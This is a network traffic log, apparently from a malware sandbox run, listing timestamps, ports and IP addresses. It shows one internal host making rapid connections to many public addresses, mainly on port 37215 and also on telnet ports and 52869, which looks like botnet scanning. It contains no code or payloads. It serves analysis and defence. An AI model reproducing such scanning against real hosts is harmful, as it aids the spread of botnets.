Dec 4, 2024 20:34:36.939560890 CET	51794	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:36.939865112 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:36.939865112 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:36.940136909 CET	36896	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:36.940444946 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:36.940444946 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:36.940679073 CET	39808	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:36.940993071 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:36.940993071 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:36.941225052 CET	34400	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:36.941530943 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:36.941530943 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:36.941787004 CET	55966	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:36.942096949 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:36.942096949 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:36.942346096 CET	53044	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:36.942636967 CET	37215	57592	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:36.942647934 CET	37215	37024	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:36.942663908 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:36.942663908 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:36.942665100 CET	37215	51590	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:36.942682028 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:36.942688942 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:36.942702055 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:36.942779064 CET	37215	46240	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:36.942795038 CET	37215	33990	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:36.942804098 CET	37215	41960	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:36.942810059 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:36.942816019 CET	37215	39784	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:36.942822933 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:36.942837954 CET	41960	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:36.942837000 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:36.942840099 CET	37215	46458	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:36.942850113 CET	37215	58918	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:36.942874908 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:36.942874908 CET	37215	41170	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:36.942873955 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:36.942907095 CET	37215	53018	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:36.942910910 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:36.942928076 CET	37215	46848	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:36.942945957 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:36.942946911 CET	47204	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:36.942950964 CET	37215	49752	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:36.942964077 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:36.942965984 CET	37215	59686	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:36.942986012 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:36.943006039 CET	59686	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:36.943264961 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:36.943264961 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:36.943516016 CET	49544	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:36.943821907 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:36.943821907 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:36.944082022 CET	42622	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:36.944442987 CET	41960	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:36.944473982 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:36.944473982 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:36.944713116 CET	51828	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:36.945014954 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:36.945014954 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:36.945250988 CET	34228	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:36.945564985 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:36.945564985 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:36.945806980 CET	47084	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:36.946105957 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:36.946105957 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:36.946336985 CET	53252	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:36.946676016 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:36.946676016 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:36.946960926 CET	57826	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:36.947263956 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:36.947263956 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:36.947513103 CET	46470	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:36.947815895 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:36.947815895 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:36.948069096 CET	41396	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:36.948388100 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:36.948388100 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:36.948622942 CET	49974	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:36.948934078 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:36.948934078 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:36.949174881 CET	37246	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:36.949496031 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:36.949496031 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:36.949733019 CET	40004	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:36.950048923 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:36.950048923 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:36.950298071 CET	59134	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:36.950613022 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:36.950613022 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:36.950854063 CET	46674	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:36.982341051 CET	35872	23	192.168.2.14	104.202.131.225
Dec 4, 2024 20:34:36.982353926 CET	45286	23	192.168.2.14	166.224.170.83
Dec 4, 2024 20:34:36.982352018 CET	44468	2323	192.168.2.14	121.46.177.162
Dec 4, 2024 20:34:36.982362032 CET	50784	23	192.168.2.14	147.100.239.25
Dec 4, 2024 20:34:37.047408104 CET	37215	58068	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:37.047432899 CET	37215	35160	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:37.047471046 CET	37215	53708	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:37.047481060 CET	37215	44450	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:37.047491074 CET	37215	45680	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:37.047502995 CET	37215	51754	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:37.047512054 CET	58068	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:37.047513008 CET	37215	36746	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:37.047519922 CET	44450	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:37.047697067 CET	35160	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:37.047710896 CET	53708	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:37.047739983 CET	45680	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:37.047739983 CET	51754	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:37.047749996 CET	36746	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:37.047820091 CET	44450	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:37.047847986 CET	58068	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:37.047863007 CET	36746	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:37.047869921 CET	53708	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:37.047880888 CET	51754	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:37.047894955 CET	45680	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:37.047907114 CET	35160	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:37.052527905 CET	37215	60275	41.128.154.190	192.168.2.14
Dec 4, 2024 20:34:37.052551031 CET	37215	48806	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:37.052582026 CET	60275	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.052602053 CET	48806	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:37.053045034 CET	37215	60275	197.141.141.8	192.168.2.14
Dec 4, 2024 20:34:37.053078890 CET	37215	41166	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:37.053081036 CET	60275	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.053095102 CET	37215	60275	197.185.99.182	192.168.2.14
Dec 4, 2024 20:34:37.053114891 CET	41166	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:37.053139925 CET	60275	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.053152084 CET	37215	60275	41.233.119.31	192.168.2.14
Dec 4, 2024 20:34:37.053172112 CET	37215	53826	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:37.053189993 CET	60275	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.053215027 CET	53826	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:37.053232908 CET	37215	56284	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:37.053271055 CET	56284	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:37.053281069 CET	37215	53906	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:37.053322077 CET	53906	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:37.053323030 CET	37215	56572	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:37.053334951 CET	37215	34186	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.053358078 CET	56572	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:37.053361893 CET	34186	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:37.053472042 CET	37215	57632	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:37.053482056 CET	37215	48806	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:37.053507090 CET	57632	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:37.053951025 CET	37215	53676	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:37.053986073 CET	37215	48806	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:37.053986073 CET	53676	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:37.054006100 CET	37215	49386	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:37.054039001 CET	37215	48400	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:37.054039955 CET	49386	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:37.054088116 CET	48400	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:37.054089069 CET	37215	35070	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:37.054099083 CET	37215	34114	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:37.054126024 CET	37215	55680	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:37.054126978 CET	35070	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:37.054160118 CET	34114	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:37.054178953 CET	55680	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:37.054800987 CET	37215	42356	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:37.054811954 CET	37215	36610	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:37.054845095 CET	36610	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:37.054867029 CET	42356	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:37.054884911 CET	37215	57522	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:37.054923058 CET	57522	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:37.055352926 CET	37215	39522	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:37.055392027 CET	39522	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:37.055447102 CET	37215	51508	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:37.055464983 CET	37215	48400	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:37.055474997 CET	37215	48400	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:37.055486917 CET	51508	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:37.055629969 CET	37215	49264	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.055641890 CET	37215	46924	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:37.055668116 CET	49264	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:37.055676937 CET	46924	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:37.056127071 CET	37215	45674	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:37.056158066 CET	37215	49386	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:37.056175947 CET	45674	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:37.056201935 CET	37215	49386	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:37.056212902 CET	37215	56220	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:37.056255102 CET	56220	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:37.056313992 CET	37215	56572	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:37.056332111 CET	37215	56572	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:37.056351900 CET	37215	45720	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:37.056391954 CET	45720	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:37.056395054 CET	37215	52758	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:37.056406975 CET	37215	56452	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:37.056442976 CET	52758	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:37.056442976 CET	56452	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:37.056514025 CET	23	40058	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:37.056525946 CET	37215	34186	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.056538105 CET	23	42792	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:37.056644917 CET	40058	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:37.056826115 CET	37215	34186	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.056878090 CET	37215	34424	41.16.74.27	192.168.2.14
Dec 4, 2024 20:34:37.056921005 CET	34424	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:37.056951046 CET	37215	35070	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:37.056969881 CET	37215	35070	41.124.245.197	192.168.2.14
Dec 4, 2024 20:34:37.056981087 CET	34424	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:37.057079077 CET	37215	53906	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:37.057100058 CET	23	33380	80.41.28.38	192.168.2.14
Dec 4, 2024 20:34:37.057145119 CET	40140	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:37.057492018 CET	37215	53906	197.230.114.235	192.168.2.14
Dec 4, 2024 20:34:37.057595015 CET	37215	41166	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:37.057662964 CET	60584	37215	192.168.2.14	41.128.154.190
Dec 4, 2024 20:34:37.057692051 CET	37215	41166	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:37.057749987 CET	37215	53676	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:37.057862043 CET	42792	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:37.057988882 CET	37215	53676	156.16.70.72	192.168.2.14
Dec 4, 2024 20:34:37.058065891 CET	37215	57632	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:37.058078051 CET	37215	57632	197.54.193.91	192.168.2.14
Dec 4, 2024 20:34:37.058188915 CET	37215	56284	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:37.058199883 CET	37215	56284	197.103.13.13	192.168.2.14
Dec 4, 2024 20:34:37.058204889 CET	37215	53826	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:37.058218956 CET	37215	53826	156.73.55.186	192.168.2.14
Dec 4, 2024 20:34:37.058243990 CET	37215	56220	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:37.058291912 CET	33380	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.058351994 CET	37215	56220	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:37.058366060 CET	37215	45720	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:37.058378935 CET	37215	45720	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:37.058670044 CET	42876	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:37.059139967 CET	53976	37215	192.168.2.14	197.141.141.8
Dec 4, 2024 20:34:37.059396982 CET	33380	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.059634924 CET	37215	57522	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:37.059684992 CET	37215	57522	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:37.059695959 CET	37215	45674	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:37.060008049 CET	33466	23	192.168.2.14	80.41.28.38
Dec 4, 2024 20:34:37.060586929 CET	37218	37215	192.168.2.14	197.185.99.182
Dec 4, 2024 20:34:37.060796976 CET	37215	45674	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:37.060849905 CET	37215	56452	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:37.060908079 CET	37215	56452	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:37.060930967 CET	37215	51508	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:37.061038017 CET	37215	51508	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:37.061099052 CET	37215	36610	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:37.061184883 CET	37215	36610	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:37.061244011 CET	52502	37215	192.168.2.14	41.233.119.31
Dec 4, 2024 20:34:37.061312914 CET	37215	39522	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:37.061467886 CET	37215	39522	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:37.061904907 CET	37215	34114	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:37.061974049 CET	37215	34114	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:37.062599897 CET	37215	55680	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:37.062690020 CET	37215	55680	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:37.063051939 CET	37215	52758	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:37.063222885 CET	37215	52758	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:37.063558102 CET	37215	46924	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:37.064204931 CET	37215	46924	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:37.064435005 CET	37215	37024	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:37.064486027 CET	37024	37215	192.168.2.14	156.154.205.52
Dec 4, 2024 20:34:37.064771891 CET	37215	57592	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:37.064815998 CET	57592	37215	192.168.2.14	41.194.61.209
Dec 4, 2024 20:34:37.064887047 CET	37215	51590	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:37.064927101 CET	51590	37215	192.168.2.14	197.123.241.110
Dec 4, 2024 20:34:37.065603018 CET	37215	46240	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:37.065644979 CET	46240	37215	192.168.2.14	197.46.72.54
Dec 4, 2024 20:34:37.065774918 CET	37215	33990	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:37.065814018 CET	33990	37215	192.168.2.14	197.70.26.71
Dec 4, 2024 20:34:37.065922976 CET	37215	41960	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:37.065963030 CET	41960	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:37.066040993 CET	37215	39784	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:37.066076994 CET	39784	37215	192.168.2.14	197.246.71.134
Dec 4, 2024 20:34:37.066246986 CET	37215	46458	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:37.066303015 CET	46458	37215	192.168.2.14	156.134.74.251
Dec 4, 2024 20:34:37.066369057 CET	37215	58918	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:37.066406965 CET	58918	37215	192.168.2.14	156.168.90.110
Dec 4, 2024 20:34:37.066490889 CET	37215	41170	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:37.066525936 CET	41170	37215	192.168.2.14	156.230.112.106
Dec 4, 2024 20:34:37.066581011 CET	37215	49264	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.066602945 CET	37215	53018	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:37.066636086 CET	37215	49264	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.066637993 CET	53018	37215	192.168.2.14	156.168.141.207
Dec 4, 2024 20:34:37.066683054 CET	37215	49544	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:37.066730976 CET	49544	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:37.066759109 CET	49544	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:37.066761971 CET	37215	46848	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:37.066771984 CET	37215	42356	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:37.066787004 CET	46848	37215	192.168.2.14	41.5.195.235
Dec 4, 2024 20:34:37.066787004 CET	37215	42356	41.191.169.69	192.168.2.14
Dec 4, 2024 20:34:37.066836119 CET	37215	49752	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:37.066873074 CET	49752	37215	192.168.2.14	156.17.91.196
Dec 4, 2024 20:34:37.067971945 CET	37215	41960	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:37.067981958 CET	37215	51590	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:37.068006039 CET	37215	51590	197.123.241.110	192.168.2.14
Dec 4, 2024 20:34:37.068013906 CET	37215	33990	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:37.068033934 CET	37215	33990	197.70.26.71	192.168.2.14
Dec 4, 2024 20:34:37.068973064 CET	37215	46848	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:37.068983078 CET	37215	46848	41.5.195.235	192.168.2.14
Dec 4, 2024 20:34:37.068990946 CET	37215	53018	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:37.069190979 CET	37215	53018	156.168.141.207	192.168.2.14
Dec 4, 2024 20:34:37.069245100 CET	37215	57592	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:37.069287062 CET	37215	57592	41.194.61.209	192.168.2.14
Dec 4, 2024 20:34:37.069334030 CET	37215	46240	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:37.069550991 CET	37215	46240	197.46.72.54	192.168.2.14
Dec 4, 2024 20:34:37.069592953 CET	37215	41170	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:37.069601059 CET	37215	41170	156.230.112.106	192.168.2.14
Dec 4, 2024 20:34:37.069722891 CET	37215	49752	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:37.069897890 CET	37215	49752	156.17.91.196	192.168.2.14
Dec 4, 2024 20:34:37.078308105 CET	42760	37215	192.168.2.14	156.126.232.137
Dec 4, 2024 20:34:37.078315020 CET	57250	37215	192.168.2.14	197.225.5.98
Dec 4, 2024 20:34:37.154751062 CET	37215	37024	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:37.154793024 CET	37215	37024	156.154.205.52	192.168.2.14
Dec 4, 2024 20:34:37.167409897 CET	37215	39784	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:37.167490959 CET	37215	39784	197.246.71.134	192.168.2.14
Dec 4, 2024 20:34:37.167504072 CET	37215	58918	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:37.167525053 CET	37215	58918	156.168.90.110	192.168.2.14
Dec 4, 2024 20:34:37.168155909 CET	37215	46458	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:37.168167114 CET	37215	46458	156.134.74.251	192.168.2.14
Dec 4, 2024 20:34:37.168190002 CET	23	35872	104.202.131.225	192.168.2.14
Dec 4, 2024 20:34:37.168253899 CET	23	45286	166.224.170.83	192.168.2.14
Dec 4, 2024 20:34:37.168268919 CET	23	50784	147.100.239.25	192.168.2.14
Dec 4, 2024 20:34:37.168271065 CET	35872	23	192.168.2.14	104.202.131.225
Dec 4, 2024 20:34:37.168282032 CET	45286	23	192.168.2.14	166.224.170.83
Dec 4, 2024 20:34:37.168302059 CET	50784	23	192.168.2.14	147.100.239.25
Dec 4, 2024 20:34:37.168692112 CET	37215	58068	197.208.202.223	192.168.2.14
Dec 4, 2024 20:34:37.168734074 CET	58068	37215	192.168.2.14	197.208.202.223
Dec 4, 2024 20:34:37.169410944 CET	37215	44450	156.164.50.81	192.168.2.14
Dec 4, 2024 20:34:37.169449091 CET	44450	37215	192.168.2.14	156.164.50.81
Dec 4, 2024 20:34:37.169785976 CET	37215	35160	156.12.171.46	192.168.2.14
Dec 4, 2024 20:34:37.169837952 CET	35160	37215	192.168.2.14	156.12.171.46
Dec 4, 2024 20:34:37.170090914 CET	37215	45680	41.167.243.102	192.168.2.14
Dec 4, 2024 20:34:37.170139074 CET	45680	37215	192.168.2.14	41.167.243.102
Dec 4, 2024 20:34:37.170733929 CET	37215	51754	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:37.170777082 CET	37215	53708	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:37.170788050 CET	37215	36746	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:37.170799017 CET	37215	53708	156.239.60.195	192.168.2.14
Dec 4, 2024 20:34:37.170845985 CET	53708	37215	192.168.2.14	156.239.60.195
Dec 4, 2024 20:34:37.171191931 CET	37215	51754	197.188.41.180	192.168.2.14
Dec 4, 2024 20:34:37.171231985 CET	51754	37215	192.168.2.14	197.188.41.180
Dec 4, 2024 20:34:37.171407938 CET	37215	36746	197.253.184.23	192.168.2.14
Dec 4, 2024 20:34:37.171452999 CET	36746	37215	192.168.2.14	197.253.184.23
Dec 4, 2024 20:34:37.173198938 CET	37215	48806	156.197.175.158	192.168.2.14
Dec 4, 2024 20:34:37.173322916 CET	37215	41166	41.33.244.153	192.168.2.14
Dec 4, 2024 20:34:37.174280882 CET	40116	52869	192.168.2.14	197.196.129.17
Dec 4, 2024 20:34:37.174287081 CET	49708	37215	192.168.2.14	156.22.59.142
Dec 4, 2024 20:34:37.174290895 CET	54152	52869	192.168.2.14	156.26.151.180
Dec 4, 2024 20:34:37.174290895 CET	41528	52869	192.168.2.14	156.10.184.5
Dec 4, 2024 20:34:37.174290895 CET	50048	52869	192.168.2.14	41.194.229.91
Dec 4, 2024 20:34:37.174293041 CET	60146	52869	192.168.2.14	197.172.51.171
Dec 4, 2024 20:34:37.174293041 CET	45650	52869	192.168.2.14	41.158.27.132
Dec 4, 2024 20:34:37.174290895 CET	48832	37215	192.168.2.14	41.238.60.31
